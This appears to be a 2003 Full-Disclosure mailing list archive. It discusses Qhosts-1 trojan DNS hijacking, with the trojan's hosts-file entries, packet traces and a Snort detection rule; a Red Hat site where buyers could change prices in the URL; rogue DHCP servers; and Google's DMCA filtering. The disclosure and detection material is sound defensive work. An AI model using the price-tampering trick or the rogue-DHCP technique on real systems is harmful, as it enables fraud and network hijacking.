2003/10/01-16:54:05.487281 207.44.220.30.http > 161.130.204.xxx.2306: . 1904837852:1904839312(1460) ack 22871449 win 7504 (DF) 2003/10/01-16:54:05.487542 207.44.220.30.http > 161.130.204.xxx.2306: . 1904839312:1904840772(1460) ack 22871449 win 7504 (DF) 2003/10/01-16:54:05.488322 161.130.204.xxx.2306 > 207.44.220.30.http: . ack 1904839312 win 8760 (DF) 2003/10/01-16:54:05.526875 207.44.220.30.http > 161.130.204.xxx.2306: P 1904840772:1904842232(1460) ack 22871449 win 7504 (DF) 2003/10/01-16:54:05.527184 207.44.220.30.http > 161.130.204.xxx.2306: . 1904842232:1904843692(1460) ack 22871449 win 7504 (DF) 2003/10/01-16:54:05.527370 207.44.220.30.http > 161.130.204.xxx.2306: . 1904843692:1904845152(1460) ack 22871449 win 7504 (DF) 2003/10/01-16:54:05.528025 161.130.204.xxx.2306 > 207.44.220.30.http: . ack 1904842232 win 8760 (DF) 2003/10/01-16:54:05.528382 161.130.204.xxx.2306 > 207.44.220.30.http: . ack 1904845152 win 8760 (DF) 2003/10/01-16:54:05.571528 207.44.220.30.http > 161.130.204.xxx.2306: P 1904845152:1904845237(85) ack 22871449 win 7504 (DF) 2003/10/01-16:54:05.750111 161.130.204.xxx.2306 > 207.44.220.30.http: . ack 1904845237 win 8675 (DF) 2003/10/01-16:54:16.288182 161.130.204.xxx.2306 > 207.44.220.30.http: P 22871449:22871911(462) ack 1904845237 win 8675 (DF) 2003/10/01-16:54:16.329439 207.44.220.30.http > 161.130.204.xxx.2306: . 1904845237:1904846697(1460) ack 22871911 win 8576 (DF) 2003/10/01-16:54:16.329929 207.44.220.30.http > 161.130.204.xxx.2306: . 1904846697:1904848157(1460) ack 22871911 win 8576 (DF) 2003/10/01-16:54:16.330970 161.130.204.xxx.2306 > 207.44.220.30.http: . ack 1904848157 win 8760 (DF) 2003/10/01-16:54:16.370436 207.44.220.30.http > 161.130.204.xxx.2306: P 1904848157:1904848507(350) ack 22871911 win 8576 (DF) 2003/10/01-16:54:16.548259 161.130.204.xxx.2306 > 207.44.220.30.http: . ack 1904848507 win 8410 (DF) 2003/10/01-16:54:31.778347 207.44.220.30.http > 161.130.204.xxx.2306: F 1904848507:1904848507(0) ack 22871911 win 8576 (DF) 2003/10/01-16:54:31.779090 161.130.204.xxx.2306 > 207.44.220.30.http: . ack 1904848508 win 8410 (DF) 2003/10/01-16:54:33.545827 161.130.204.xxx.2306 > 207.44.220.30.http: R 22871911:22871911(0) win 0 (DF) -----Original Message----- From: David Vincent [mailto:david.vincent at mightyoaks.com] Sent: Wednesday, October 01, 2003 5:01 PM To: full-disclosure at lists.netsys.com Subject: RE: [Full-Disclosure] Mystery DNS Changes it was said.... ------------------ We have seen multiple instances where DHCP enabled workstations have had their DNS reconfigured to point to two of the three addresses listed below. Can anyone else confirm this? Incidents.org is reporting an increase in port 53 traffic over the last two days. Are we looking at the precursor to the next worm? 216.127.92.38 69.57.146.14 69.57.147.175 Are these entries coming in the DHCP packets or are they being set *after* DHCP is complete? Are compromised systems acting like DHCP servers stuffing their own DNS entries into specially crafted replies? Can you post traffic dumps? ------------------ From khermansen at ht-technology.com Thu Oct 2 01:11:13 2003 From: khermansen at ht-technology.com (Kristian Hermansen) Date: Wed, 1 Oct 2003 20:11:13 -0400 Subject: [Full-Disclosure] Google FILTERS searches for possible DMCA infringable content!!! Message-ID: <001601c38879$b18f3a40$ca02a8c0@winxpnetsniper> I don't know if you guys noticed this or not, but recently Google has started FILTERING requests for information that may violate the DMCA. This just started recently, but test it yourself. Go to Google.com and try searching for "kazaa lite k++", which is the enhanced version of the popular P2P client. If you notice, the website will not show up in the lists. In fact, it seems that the site that offered this client is now no longer online. What's REALLY SAD is that Google admits to the filtering at the bottom of the page and gives an explanation, along with some documentation. Here's what it says: http://www.google.com/search?hl=en&lr=&ie=UTF-8&oe=UTF-8&q=kazaa+lite+k%2B%2B "In response to a complaint we received under the Digital Millennium Copyright Act, we have removed 4 result(s) from this page. If you wish, you may read the DMCA complaint for these removed results." If you click on the second link, you can read the complaint from Sharman Networks against Google. http://www.chillingeffects.org/dmca512/notice.cgi?NoticeID=861 (text) http://www.chillingeffects.org/dmca512/notice.cgi?action=image_410 (PDF) This is a sad day for us all. It seems that Sharman Networks weren't happy enough with the profits they made on advertising - a business that is run solely on the attraction that customers can download digital content, which they may or may not own legally. Now, why would they want to block this program so badly? My guess...K++'s anonymous enhancements make it much too difficult to track down piracy and since users would benefit from this, it is a danger to their business. Also, they are probably making even more money on the side by selling information about who is massively sharing MP3/VIDEO to the RIAA and MPAA. BUT IRONICALLY THEY ARE USING THE F**KING DMCA TO HAVE GOOGLE FILTER SEARCHES!!! If anything, the DMCA should be used against THEM for making it easy for people to download illegal content. "Hey you don't have the right to steal what I am currently stealing!!!" Reminds me of Microsoft stealing from Apple. This is the most improper use of the DMCA I have ever seen. What do you guys all think of this? Kris Hermansen CEO - H&T Technology Solutions PS - Since Google won't allow you to find the new K++ homepage, here it is: http://www.klitesite.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20031001/8c98df8c/attachment.html From fulldiclosure at ricin.com Thu Oct 2 00:05:39 2003 From: fulldiclosure at ricin.com (Danny Pansters) Date: Thu, 2 Oct 2003 01:05:39 +0200 Subject: [Full-Disclosure] Mystery DNS Changes In-Reply-To: <63C5D58429F6D41196040006298F207C02B85963@eg-msgmbx-b05.int.westgroup.com> References: <63C5D58429F6D41196040006298F207C02B85963@eg-msgmbx-b05.int.westgroup.com> Message-ID: <200310020105.39542.fulldiclosure@ricin.com> On Wednesday 01 October 2003 21:19, Hansen, Kevin wrote: > We have seen multiple instances where DHCP enabled workstations have > had their DNS reconfigured to point to two of the three addresses > listed below. Can anyone else confirm this? Incidents.org is > reporting an increase in port 53 traffic over the last two days. Are > we looking at the precursor to the next worm? > > 216.127.92.38 > 69.57.146.14 > 69.57.147.175 > > -KJH > How bout asking admin at ev1.net? You likely have some spy/ad/pay ware on client machines. See lop.com and others. There's crap traffic on port 53 all the time, I get speedera ping-like traffic on my port 53 several times a day. It's a verifiable swarm but no one at att, verio, uunet, whatever seem to care. My cable ISP told me I could start legal action. Yeah right. This is probably a common occurance. I think you're mixing up two different issues here. Dan From danny at ricin.com Thu Oct 2 00:12:03 2003 From: danny at ricin.com (Danny Pansters) Date: Thu, 2 Oct 2003 01:12:03 +0200 Subject: [Full-Disclosure] Strange behavior in Windows 98 and 2000 In-Reply-To: <3F7B5144.7030501@gs2.com.br> References: <6130FAF67D15D411BF7100E01899071F1DB4A4@stork.mightyoaks.local> <3F7B5144.7030501@gs2.com.br> Message-ID: <200310020112.03725.danny@ricin.com> > 2000 and XP boxes lose TCP/IP communication and, after a reboot, they > work again. Win XP tries to push itself as being the authoritative server of its own host name by attempting to transfer its zone to the (local) dns server, doesn't it? Erratic behaviour is always a good way to break the thing. I rarely use WinXP, but did note that it behaves like that. Dunno about W2k. HTH Dan From smearp at mac.com Thu Oct 2 01:43:22 2003 From: smearp at mac.com (Sean Earp) Date: Wed, 1 Oct 2003 17:43:22 -0700 Subject: [Full-Disclosure] Red Hat Certification for... (however much you want to pay) Message-ID: <6C9FDE6E-F471-11D7-BCB8-000393C34F68@mac.com> From the Red Hat list... Chris writes; ---- When you click the link above, the URL will be redirected to a redhat url with value of price=xxxx. Just change the price, and you've changed the cost of your Redhat Training. See, RHCE IS affordable! Nice programming Red Hat. --- For that matter, you can change the course location, date, price, whatever you want! (all in the URL) Isn't using URL parameters to track the price of a product the first thing you learn in BAD WEB COMMERCE PRACTICES 101? -Sean ;) From JThomas at poweronemedia.com Thu Oct 2 01:58:30 2003 From: JThomas at poweronemedia.com (Joshua Thomas) Date: Wed, 1 Oct 2003 20:58:30 -0400 Subject: [Full-Disclosure] Google FILTERS searches for possible DMCA i nfringable content!!! Message-ID: <6E4A626CCE3C664F81F478A3674A40F8019D238A@epimetheus.adone.com> This is old news. This was on slashdot over a month ago. Joshua Thomas Network Operations Engineer PowerOne Media, Inc. tel: 518-687-6143 jthomas at poweronemedia.com -----Original Message----- From: Kristian Hermansen [mailto:khermansen at ht-technology.com] Sent: Wednesday, October 01, 2003 8:11 PM To: Full Disclosure Subject: [Full-Disclosure] Google FILTERS searches for possible DMCA infringable content!!! I don't know if you guys noticed this or not, but recently Google has started FILTERING requests for information that may violate the DMCA. This just started recently, but test it yourself. Go to Google.com and try searching for "kazaa lite k++", which is the enhanced version of the popular P2P client. If you notice, the website will not show up in the lists. In fact, it seems that the site that offered this client is now no longer online. What's REALLY SAD is that Google admits to the filtering at the bottom of the page and gives an explanation, along with some documentation. Here's what it says: http://www.google.com/search?hl=en &lr=&ie=UTF-8&oe=UTF-8&q=kazaa+lite+k%2B%2B "In response to a complaint we received under the Digital Millennium Copyright Act, we have removed 4 result(s) from this page. If you wish, you may read the DMCA complaint for these removed results." If you click on the second link, you can read the complaint from Sharman Networks against Google. http://www.chillingeffects.org/dmca512/notice.cgi?NoticeID=861 (text) http://www.chillingeffects.org/dmca512/notice.cgi?action=image_410 (PDF) This is a sad day for us all. It seems that Sharman Networks weren't happy enough with the profits they made on advertising - a business that is run solely on the attraction that customers can download digital content, which they may or may not own legally. Now, why would they want to block this program so badly? My guess...K++'s anonymous enhancements make it much too difficult to track down piracy and since users would benefit from this, it is a danger to their business. Also, they are probably making even more money on the side by selling information about who is massively sharing MP3/VIDEO to the RIAA and MPAA. BUT IRONICALLY THEY ARE USING THE F**KING DMCA TO HAVE GOOGLE FILTER SEARCHES!!! If anything, the DMCA should be used against THEM for making it easy for people to download illegal content. "Hey you don't have the right to steal what I am currently stealing!!!" Reminds me of Microsoft stealing from Apple. This is the most improper use of the DMCA I have ever seen. What do you guys all think of this? Kris Hermansen CEO - H&T Technology Solutions PS - Since Google won't allow you to find the new K++ homepage, here it is: http://www.klitesite.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20031001/849e7fd7/attachment.html From gui at goddessmoon.org Thu Oct 2 01:57:00 2003 From: gui at goddessmoon.org (Poof) Date: Wed, 1 Oct 2003 17:57:00 -0700 Subject: [Full-Disclosure] Google FILTERS searches for possible DMCA infringable content!!! In-Reply-To: <001601c38879$b18f3a40$ca02a8c0@winxpnetsniper> Message-ID: <200310020057.h920v1j01366@storage.mshome.net> Yeah... But if you read the complaint that they show it gives the URLs there ^^ But, yeah, I dislike how the DMCA allows this. =/ You can show somebody doing/buying drugs on TV. Which tells people how to get them etc. But you can't do the same thing online. Sucks eh? _____ From: full-disclosure-admin at lists.netsys.com [mailto:full-disclosure-admin at lists.netsys.com] On Behalf Of Kristian Hermansen Sent: Wednesday, October 01, 2003 17:11 To: Full Disclosure Subject: [Full-Disclosure] Google FILTERS searches for possible DMCA infringable content!!! I don't know if you guys noticed this or not, but recently Google has started FILTERING requests for information that may violate the DMCA. This just started recently, but test it yourself. Go to Google.com and try searching for "kazaa lite k++", which is the enhanced version of the popular P2P client. If you notice, the website will not show up in the lists. In fact, it seems that the site that offered this client is now no longer online. What's REALLY SAD is that Google admits to the filtering at the bottom of the page and gives an explanation, along with some documentation. Here's what it says: http://www.google.com/search?hl=en &lr=&ie=UTF-8&oe=UTF-8&q=kazaa+lite+k%2B%2B "In response to a complaint we received under the Digital Millennium Copyright Act, we have removed 4 result(s) from this page. If you wish, you may read the DMCA complaint for these removed results." If you click on the second link, you can read the complaint from Sharman Networks against Google. http://www.chillingeffects.org/dmca512/notice.cgi?NoticeID=861 (text) http://www.chillingeffects.org/dmca512/notice.cgi?action=image_410 (PDF) This is a sad day for us all. It seems that Sharman Networks weren't happy enough with the profits they made on advertising - a business that is run solely on the attraction that customers can download digital content, which they may or may not own legally. Now, why would they want to block this program so badly? My guess...K++'s anonymous enhancements make it much too difficult to track down piracy and since users would benefit from this, it is a danger to their business. Also, they are probably making even more money on the side by selling information about who is massively sharing MP3/VIDEO to the RIAA and MPAA. BUT IRONICALLY THEY ARE USING THE F**KING DMCA TO HAVE GOOGLE FILTER SEARCHES!!! If anything, the DMCA should be used against THEM for making it easy for people to download illegal content. "Hey you don't have the right to steal what I am currently stealing!!!" Reminds me of Microsoft stealing from Apple. This is the most improper use of the DMCA I have ever seen. What do you guys all think of this? Kris Hermansen CEO - H&T Technology Solutions PS - Since Google won't allow you to find the new K++ homepage, here it is: http://www.klitesite.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20031001/0ee6a457/attachment.html From dotslash at snosoft.com Fri Oct 3 01:55:31 2003 From: dotslash at snosoft.com (KF) Date: Thu, 02 Oct 2003 20:55:31 -0400 Subject: [Full-Disclosure] Google FILTERS searches for possible DMCA infringable content!!! In-Reply-To: <001601c38879$b18f3a40$ca02a8c0@winxpnetsniper> References: <001601c38879$b18f3a40$ca02a8c0@winxpnetsniper> Message-ID: <3F7CC903.3040706@snosoft.com> http://www.google.com/dmca.html -KF From hobbit at avian.org Wed Oct 1 21:11:16 2003 From: hobbit at avian.org (*Hobbit*) Date: Wed, 1 Oct 2003 20:11:16 +0000 (GMT) Subject: [Full-Disclosure] Mystery DNS Changes Message-ID: <20031001201116.2C79EC30C@relayer.avian.org> ... DHCP enabled workstations have had their DNS reconfigured to point to two of the three addresses User-driven trojan or not, machines running DHCP can pretty much be told by a DHCP server that their leases are up and it's time to renumber, and then that their new DNS servers are X Y and maybe Z. This is part of the protocol, astoundingly enough, but spells "attack vector" any way *I* look at it. This would probably work on most cable-modem infrastructures, at least where the provider hasn't done anything about the fact that any customer [i.e. customer's box, forget the human] can become a rogue DHCP server. Within a soft chewy corporate net, a rogue server probably presents an even higher risk cuz *none* of the end user boxes would have the benefit of a somewhat protective device [cable modem with clueful config] in between it and the rogue. Expect it. Script your bootup to nuke dhclient/dhcpcd/whatever after it's gotten an address, and sanity-check what you get back. DHCP clients, at least in the unix world, generally run OUTSIDE your filters, as ROOT. Windows users, you're probably just hosed, because if you stop "DHCP client" you release your address. _H* From zorkshin at tampabay.rr.com Thu Oct 2 02:18:51 2003 From: zorkshin at tampabay.rr.com (Justin Shin) Date: Wed, 1 Oct 2003 21:18:51 -0400 Subject: [Full-Disclosure] Red Hat Certification for... (however much you want to pay) In-Reply-To: <6C9FDE6E-F471-11D7-BCB8-000393C34F68@mac.com> Message-ID: If I had my druthers at redhat, someone aint gonna have a job come thursday mornin What's more, I played around and came to amusement with the fact that I had just made the security course cost me 0.99 . Talk about cheap! Why, Redhat should invest in training their coders, and avoid being duped by the oldest technique in webapp history... -- Justin -----Original Message----- From: full-disclosure-admin at lists.netsys.com [mailto:full-disclosure-admin at lists.netsys.com]On Behalf Of Sean Earp Sent: Wednesday, October 01, 2003 8:43 PM To: Full-Disclosure at lists.netsys.com Subject: [Full-Disclosure] Red Hat Certification for... (however much you want to pay) From the Red Hat list... Chris writes; ---- When you click the link above, the URL will be redirected to a redhat url with value of price=xxxx. Just change the price, and you've changed the cost of your Redhat Training. See, RHCE IS affordable! Nice programming Red Hat. --- For that matter, you can change the course location, date, price, whatever you want! (all in the URL) Isn't using URL parameters to track the price of a product the first thing you learn in BAD WEB COMMERCE PRACTICES 101? -Sean ;) _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html From mfrd at attitudex.com Thu Oct 2 02:49:32 2003 From: mfrd at attitudex.com (Muhammad Faisal Rauf Danka) Date: Wed, 1 Oct 2003 18:49:32 -0700 (PDT) Subject: [Full-Disclosure] CERT Advisory CA-2003-26 Multiple Vulnerabilities in SSL/TLS Implementations (fwd) Message-ID: <20031002014932.6596939CB@sitemail.everyone.net> An embedded and charset-unspecified text was scrubbed... Name: not available Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20031001/ea01f2ac/attachment.ksh -------------- next part -------------- An embedded message was scrubbed... From: CERT Advisory Subject: CERT Advisory CA-2003-26 Multiple Vulnerabilities in SSL/TLS Implementations Date: Wed, 1 Oct 2003 19:29:45 -0400 Size: 21240 Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20031001/ea01f2ac/attachment.mht From pdt at jackhammer.org Thu Oct 2 02:52:41 2003 From: pdt at jackhammer.org (Paul Tinsley) Date: Wed, 01 Oct 2003 20:52:41 -0500 Subject: [Full-Disclosure] Mystery DNS Changes In-Reply-To: References: Message-ID: <3F7B84E9.60500@jackhammer.org> Don't know if this will help anybody else but I have added this to all my sensors that see internal traffic headed for firewalls: var MAL_DNS [216.127.92.38/32,69.57.146.14/32,69.57.147.175/32] alert tcp any any <> $MAL_DNS 53 (msg:"Malicious DNS Traffic"; sid:900027; rev:1;) This along with a rule in my alerting software that alerts once per hour per machine that is triggering this alert seems to be working pretty well. Harris, Michael C. wrote: >I have laid hands on a machine hit with the Qhosts-1 Trojan > >It drops a replacement hosts file in the $system%\help\ directory >and also makes the registry changes described in the NAI posting >http://vil.nai.com/vil/content/v_100719.htm > >DNS detail, hosts file details, captured headers all follow below the signature block >sorry for the length of message and no I don't have a full capture > >Mike >------------------------------------------------------------------- >Michael C Harris >System Security Analyst - GSEC >University of Missouri Health Center >harrismc at health.missouri.edu KC0PAH >------------------------------------------------------------------- > >DNS changed to >69.57.146.14 >69.57.147.175 > >hosts file included the following entries > >88.88.88.88 elite >207.44.194.56 www.google.akadns.net >207.44.194.56 www.google.com >207.44.194.56 google.com >207.44.194.56 www.altavista.com >207.44.194.56 altavista.com >207.44.194.56 search.yahoo.com >207.44.194.56 uk.search.yahoo.com >207.44.194.56 ca.search.yahoo.com >207.44.194.56 jp.search.yahoo.com >207.44.194.56 au.search.yahoo.com >207.44.194.56 de.search.yahoo.com >207.44.194.56 search.yahoo.co.jp >207.44.194.56 www.lycos.de >207.44.194.56 www.lycos.ca >207.44.194.56 www.lycos.jp >207.44.194.56 www.lycos.co.jp >207.44.194.56 alltheweb.com >207.44.194.56 web.ask.com >207.44.194.56 ask.com >207.44.194.56 www.ask.com >207.44.194.56 www.teoma.com >207.44.194.56 search.aol.com >207.44.194.56 www.looksmart.com >207.44.194.56 auto.search.msn.com >207.44.194.56 search.msn.com >207.44.194.56 ca.search.msn.com >207.44.194.56 fr.ca.search.msn.com >207.44.194.56 search.fr.msn.be >207.44.194.56 search.fr.msn.ch >207.44.194.56 search.latam.yupimsn.com >207.44.194.56 search.msn.at >207.44.194.56 search.msn.be >207.44.194.56 search.msn.ch >207.44.194.56 search.msn.co.in >207.44.194.56 search.msn.co.jp >207.44.194.56 search.msn.co.kr >207.44.194.56 search.msn.com.br >207.44.194.56 search.msn.com.hk >207.44.194.56 search.msn.com.my >207.44.194.56 search.msn.com.sg >207.44.194.56 search.msn.com.tw >207.44.194.56 search.msn.co.za >207.44.194.56 search.msn.de >207.44.194.56 search.msn.dk >207.44.194.56 search.msn.es >207.44.194.56 search.msn.fi >207.44.194.56 search.msn.fr >207.44.194.56 search.msn.it >207.44.194.56 search.msn.nl >207.44.194.56 search.msn.no >207.44.194.56 search.msn.se >207.44.194.56 search.ninemsn.com.au >207.44.194.56 search.t1msn.com.mx >207.44.194.56 search.xtramsn.co.nz >207.44.194.56 search.yupimsn.com >207.44.194.56 uk.search.msn.com >207.44.194.56 search.lycos.com >207.44.194.56 www.lycos.com >207.44.194.56 www.google.ca >207.44.194.56 google.ca >207.44.194.56 www.google.uk >207.44.194.56 www.google.co.uk >207.44.194.56 www.google.com.au >207.44.194.56 www.google.co.jp >207.44.194.56 www.google.jp >207.44.194.56 www.google.at >207.44.194.56 www.google.be >207.44.194.56 www.google.ch >207.44.194.56 www.google.de >207.44.194.56 www.google.se >207.44.194.56 www.google.dk >207.44.194.56 www.google.fi >207.44.194.56 www.google.fr >207.44.194.56 www.google.com.gr >207.44.194.56 www.google.com.hk >207.44.194.56 www.google.ie >207.44.194.56 www.google.co.il >207.44.194.56 www.google.it >207.44.194.56 www.google.co.kr >207.44.194.56 www.google.com.mx >207.44.194.56 www.google.nl >207.44.194.56 www.google.co.nz >207.44.194.56 www.google.pl >207.44.194.56 www.google.pt >207.44.194.56 www.google.com.ru >207.44.194.56 www.google.com.sg >207.44.194.56 www.google.co.th >207.44.194.56 www.google.com.tr >207.44.194.56 www.google.com.tw >207.44.194.56 go.google.com >207.44.194.56 google.at >207.44.194.56 google.be >207.44.194.56 google.de >207.44.194.56 google.dk >207.44.194.56 google.fi >207.44.194.56 google.fr >207.44.194.56 google.com.hk >207.44.194.56 google.ie >207.44.194.56 google.co.il >207.44.194.56 google.it >207.44.194.56 google.co.kr >207.44.194.56 google.com.mx >207.44.194.56 google.nl >207.44.194.56 google.co.nz >207.44.194.56 google.pl >207.44.194.56 google.com.ru >207.44.194.56 google.com.sg >207.44.194.56 www.hotbot.com >207.44.194.56 hotbot.com > >sample headers >2003/10/01-16:54:05.242697 161.130.204.xxx.2306 > 207.44.220.30.http: S 22870760:22870760(0) win 8192 (DF) >2003/10/01-16:54:05.281848 207.44.220.30.http > 161.130.204.xxx.2306: S 1904832103:1904832103(0) ack 22870761 win 5840 (DF) >2003/10/01-16:54:05.282723 161.130.204.xxx.2306 > 207.44.220.30.http: . ack 1904832104 win 8760 (DF) >2003/10/01-16:54:05.283772 161.130.204.xxx.2306 > 207.44.220.30.http: P 22870761:22871132(371) ack 1904832104 win 8760 (DF) >2003/10/01-16:54:05.326527 207.44.220.30.http > 161.130.204.xxx.2306: . ack 22871132 win 6432 (DF) >2003/10/01-16:54:05.328614 207.44.220.30.http > 161.130.204.xxx.2306: . 1904832104:1904833564(1460) ack 22871132 win 6432 (DF) >2003/10/01-16:54:05.329041 207.44.220.30.http > 161.130.204.xxx.2306: . 1904833564:1904835024(1460) ack 22871132 win 6432 (DF) >2003/10/01-16:54:05.330076 161.130.204.xxx.2306 > 207.44.220.30.http: . ack 1904835024 win 8760 (DF) >2003/10/01-16:54:05.372888 207.44.220.30.http > 161.130.204.xxx.2306: P 1904835024:1904836392(1368) ack 22871132 win 6432 (DF) >2003/10/01-16:54:05.446322 161.130.204.xxx.2306 > 207.44.220.30.http: P 22871132:22871449(317) ack 1904836392 win 7392 (DF) >2003/10/01-16:54:05.487111 207.44.220.30.http > 161.130.204.xxx.2306: . 1904836392:1904837852(1460) ack 22871449 win 7504 (DF) >2003/10/01-16:54:05.487281 207.44.220.30.http > 161.130.204.xxx.2306: . 1904837852:1904839312(1460) ack 22871449 win 7504 (DF) >2003/10/01-16:54:05.487542 207.44.220.30.http > 161.130.204.xxx.2306: . 1904839312:1904840772(1460) ack 22871449 win 7504 (DF) >2003/10/01-16:54:05.488322 161.130.204.xxx.2306 > 207.44.220.30.http: . ack 1904839312 win 8760 (DF) >2003/10/01-16:54:05.526875 207.44.220.30.http > 161.130.204.xxx.2306: P 1904840772:1904842232(1460) ack 22871449 win 7504 (DF) >2003/10/01-16:54:05.527184 207.44.220.30.http > 161.130.204.xxx.2306: . 1904842232:1904843692(1460) ack 22871449 win 7504 (DF) >2003/10/01-16:54:05.527370 207.44.220.30.http > 161.130.204.xxx.2306: . 1904843692:1904845152(1460) ack 22871449 win 7504 (DF) >2003/10/01-16:54:05.528025 161.130.204.xxx.2306 > 207.44.220.30.http: . ack 1904842232 win 8760 (DF) >2003/10/01-16:54:05.528382 161.130.204.xxx.2306 > 207.44.220.30.http: . ack 1904845152 win 8760 (DF) >2003/10/01-16:54:05.571528 207.44.220.30.http > 161.130.204.xxx.2306: P 1904845152:1904845237(85) ack 22871449 win 7504 (DF) >2003/10/01-16:54:05.750111 161.130.204.xxx.2306 > 207.44.220.30.http: . ack 1904845237 win 8675 (DF) >2003/10/01-16:54:16.288182 161.130.204.xxx.2306 > 207.44.220.30.http: P 22871449:22871911(462) ack 1904845237 win 8675 (DF) >2003/10/01-16:54:16.329439 207.44.220.30.http > 161.130.204.xxx.2306: . 1904845237:1904846697(1460) ack 22871911 win 8576 (DF) >2003/10/01-16:54:16.329929 207.44.220.30.http > 161.130.204.xxx.2306: . 1904846697:1904848157(1460) ack 22871911 win 8576 (DF) >2003/10/01-16:54:16.330970 161.130.204.xxx.2306 > 207.44.220.30.http: . ack 1904848157 win 8760 (DF) >2003/10/01-16:54:16.370436 207.44.220.30.http > 161.130.204.xxx.2306: P 1904848157:1904848507(350) ack 22871911 win 8576 (DF) >2003/10/01-16:54:16.548259 161.130.204.xxx.2306 > 207.44.220.30.http: . ack 1904848507 win 8410 (DF) >2003/10/01-16:54:31.778347 207.44.220.30.http > 161.130.204.xxx.2306: F 1904848507:1904848507(0) ack 22871911 win 8576 (DF) >2003/10/01-16:54:31.779090 161.130.204.xxx.2306 > 207.44.220.30.http: . ack 1904848508 win 8410 (DF) >2003/10/01-16:54:33.545827 161.130.204.xxx.2306 > 207.44.220.30.http: R 22871911:22871911(0) win 0 (DF) > > > > > > >-----Original Message----- >From: David Vincent [mailto:david.vincent at mightyoaks.com] >Sent: Wednesday, October 01, 2003 5:01 PM >To: full-disclosure at lists.netsys.com >Subject: RE: [Full-Disclosure] Mystery DNS Changes > > >it was said.... > >------------------ >We have seen multiple instances where DHCP enabled workstations have had >their DNS reconfigured to point to two of the three addresses listed >below. Can anyone else confirm this? Incidents.org is reporting an >increase in port 53 traffic over the last two days. Are we looking at >the precursor to the next worm? >216.127.92.38 >69.57.146.14 >69.57.147.175 > >Are these entries coming in the DHCP packets or are they being >set *after* DHCP is complete? Are compromised systems acting >like DHCP servers stuffing their own DNS entries into >specially crafted replies? >Can you post traffic dumps? >------------------ > >_______________________________________________ >Full-Disclosure - We believe in it. >Charter: http://lists.netsys.com/full-disclosure-charter.html > > From jonathan at nuclearelephant.com Thu Oct 2 03:35:26 2003 From: jonathan at nuclearelephant.com (Jonathan A. Zdziarski) Date: Wed, 01 Oct 2003 22:35:26 -0400 Subject: [Full-Disclosure] Red Hat Certification for... (however much you want to pay) In-Reply-To: <6C9FDE6E-F471-11D7-BCB8-000393C34F68@mac.com> References: <6C9FDE6E-F471-11D7-BCB8-000393C34F68@mac.com> Message-ID: <1065062126.4898.2.camel@tantor.nuclearelephant.com> > Isn't using URL parameters to track the price of a product the first > thing you learn in BAD WEB COMMERCE PRACTICES 101? And this is "one of the top 3 certifications sought by IT and IS professionals". Perhaps they should consider a slight change in curriculum. From khermansen at ht-technology.com Thu Oct 2 03:35:45 2003 From: khermansen at ht-technology.com (Kristian Hermansen) Date: Wed, 1 Oct 2003 22:35:45 -0400 Subject: [Full-Disclosure] Google FILTERS searches for possible DMCAinfringable content!!! Message-ID: <009801c3888d$e2859f40$ca02a8c0@winxpnetsniper> ----- Original Message ----- From: "myuu" To: "Kristian Hermansen" Sent: Thursday, October 02, 2003 1:56 AM Subject: Re: [Full-Disclosure] Google FILTERS searches for possible DMCAinfringable content!!! > First off this has been in place for a couple weeks, second it was > pretty well publicized when it was added. > > Anyway, would you rather not see any notice at all? Seems more > reasonable that they would at least admit to it. Even if it is old news, which I was unaware, the Kazaa filtering is new as of September 12th. I can't believe that it is even possible to allow this kind of activity. What is going to happen if this sets a precedent for other companies? I don't want every company in the world writing letters to Google referencing the DMCA and not allowing me to get my search results. That's ludicrous! The internet was created to be a medium for information exchange. Google of all people should fight this since they are an information querying engine. What ever happened to the Freedom of Information Act? Guess it went right out the window with all of our civil rights after 9/11... ----- Original Message ----- From: "Mary Landesman" To: "Kristian Hermansen" Sent: Wednesday, October 01, 2003 9:03 PM Subject: Re: [Full-Disclosure] Google FILTERS searches for possible DMCA infringable content!!! > I've noticed this with other searches. In other words, I don't believe this > is Google's first foray into selective filtering. > > I use Dogpile quite a bit for this very reaso, and have found them in most > cases to be a better source. (Some things, like group searches, require > Google). > > Specifically regarding their invoking the DCMA, perhaps they were threatened > with abetting and their hand was forced. OTOH, other rumors have been > circulating regarding Google's close ties with the NSA. > > They are a private company, meaning they are largely unaccountable > (publicly) for their actions, so it's rather difficult to know which side of > the fence they are sitting on. Certainly this recent decision of theirs does > not bode well for it being on the side of the users. :-) > > -- Mary Ties to the NSA? Where did you hear this? If it turns out to be true, I will no longer be using Google... ----- Original Message ----- From: Exibar To: Kristian Hermansen Sent: Wednesday, October 01, 2003 9:32 PM Subject: RE: [Full-Disclosure] Google FILTERS searches for possible DMCA infringable content!!! I got a hit for Kazaa lite on the first page....are you sure that you're not an employee of sharman networks trying to get more searches for Kazaa Lite so it will get to the top of Google's listing? sure sounds like it to me..... Download Kazaa Lite K++ 2.4.2 - Improved version of Kazaa LITE ! ... Kazaa Lite K++ 2.4.2, Subscribe to this program, Developer, ... ENGLISH. A spyware free version of Kazaa, with many improvements ! Kazaa ... www.softnews.ro/public/cat/10/6/10-6-25.shtml - 68k - Cached - Similar pages Exibar First of all, I'm NOT an employee of Sharman Networks. And, you must not have noticed that your search yeilded a russian download site with an OLD version of the client. The OFFICIAL page was never revealed to you... ----- Original Message ----- From: Poof To: full-disclosure at lists.netsys.com Sent: Wednesday, October 01, 2003 8:57 PM Subject: RE: [Full-Disclosure] Google FILTERS searches for possible DMCA infringable content!!! Yeah... But if you read the complaint that they show it gives the URLs there ^^ But, yeah, I dislike how the DMCA allows this. =/ You can show somebody doing/buying drugs on TV. Which tells people how to get them etc. But you can't do the same thing online. Sucks eh? ...Yeah, really sucks... Kristian Hermansen -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20031001/d7acb8b4/attachment.html From irwanhadi at phxby.com Thu Oct 2 03:55:51 2003 From: irwanhadi at phxby.com (Irwan Hadi) Date: Wed, 1 Oct 2003 20:55:51 -0600 Subject: [Full-Disclosure] Red Hat Certification for... (however much you want to pay) In-Reply-To: References: <6C9FDE6E-F471-11D7-BCB8-000393C34F68@mac.com> Message-ID: 